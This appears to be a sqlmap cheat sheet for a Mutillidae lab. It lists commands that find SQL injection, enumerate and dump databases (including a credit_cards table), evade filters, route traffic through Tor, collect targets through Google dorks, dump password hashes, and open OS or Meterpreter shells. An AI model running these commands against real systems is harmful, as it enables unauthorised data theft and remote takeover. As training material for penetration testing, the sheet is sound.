SQL Map

Automated tool that detects and exploits SQL injection vulnerabilities in web applications, enumerating databases, tables, and columns, and extracting data directly from the underlying DBMS.

Getting the Target URL

Go to Mutillidae User Info page, enter admin as username and any password, submit to capture the request URL for sqlmap

Basic Commands

Command 
sqlmap
Description

Launches the tool

Command 
sqlmap --help
Description

Shows all available commands

Command 
sqlmap -u "[URL]"
Description

Starts testing the target for vulnerabilities

Command 
sqlmap -u "[URL]" --batch
Description

Non-interactive mode, auto-accepts default answers

Command 
sqlmap -u "[URL]" --wizard
Description

Simple guided mode for beginners

Command 
sqlmap -u "[URL]" -p username
Description

Manually specifies which parameter to test

Request Options

Command 
sqlmap -u "[URL]" --data="param=val"
Description

Tests via POST request instead of GET

Command 
sqlmap -u "[URL]" --cookie="PHPSESSID=..."
Description

Tests authenticated pages using a session cookie

Command 
sqlmap -u "[URL]" --proxy="http://127.0.0.1:8080"
Description

Routes the request through a proxy (e.g. Burp Suite)

Command 
sqlmap -u "[URL]" --random-agent
Description

Uses a random User-Agent to evade WAF/filters

Command 
sqlmap -u "[URL]" --tor
Description

Routes the scan through the Tor network for anonymity

Command 
sqlmap -u "[URL]" --check-tor
Description

Verifies Tor is properly routing traffic

Database Enumeration

Command 
sqlmap -u "[URL]" --dbs
Description

Lists database names

Command 
sqlmap -u "[URL]" --current-db
Description

Shows the current database

Command 
sqlmap -u "[URL]" --tables -D owasp10
Description

Lists all tables inside owasp10

Command 
sqlmap -u "[URL]" --schema
Description

Dumps the full schema structure across databases

Command 
sqlmap -u "[URL]" -b
Description

Retrieves the DBMS banner/version info

Data Extraction

Command 
sqlmap -u "[URL]" --columns -T credit_cards -D owasp10
Description

Lists columns inside credit_cards

Command 
sqlmap -u "[URL]" -T credit_cards -D owasp10 -C username,password --dump
Description

Dumps only specified columns

Command 
sqlmap -u "[URL]" -T credit_cards -D owasp10 --dump
Description

Dumps all data from the table

Command 
sqlmap -u "[URL]" --dump-all
Description

Dumps everything from every database (slow, use with caution)

Command 
sqlmap -u "[URL]" -a
Description

Retrieves banner, current user, databases, tables, columns, and data in one run

Scan Intensity

Command 
sqlmap -u "[URL]" --level=1-5
Description

Depth of test payloads tried (default 1)

Command 
sqlmap -u "[URL]" --risk=1-3
Description

Aggressiveness of payloads (3 may include data-altering ones)

Command 
sqlmap -u "[URL]" --technique=BEUSTQ
Description

Specifies which SQLi techniques to test

Command 
sqlmap -u "[URL]" --dbms=mysql
Description

Manually specifies the back-end DBMS to speed up scanning

Command 
sqlmap -g "inurl:page.php?id="
Description

Uses Google dork results as target URLs

Post-Exploitation

Command 
sqlmap -u "[URL]" --current-user
Description

Shows the current database user

Command 
sqlmap -u "[URL]" --is-dba
Description

Checks if the current user has admin (DBA) privileges

Command 
sqlmap -u "[URL]" --passwords
Description

Attempts to dump password hashes

Command 
sqlmap -u "[URL]" --os-shell
Description

Attempts to open an OS-level shell if exploitable

Command 
sqlmap -u "[URL]" --os-pwn
Description

Attempts an OOB shell, Meterpreter, or VNC connection

Session Management

Command 
sqlmap -u "[URL]" --flush-session
Description

Clears cached session data for the current target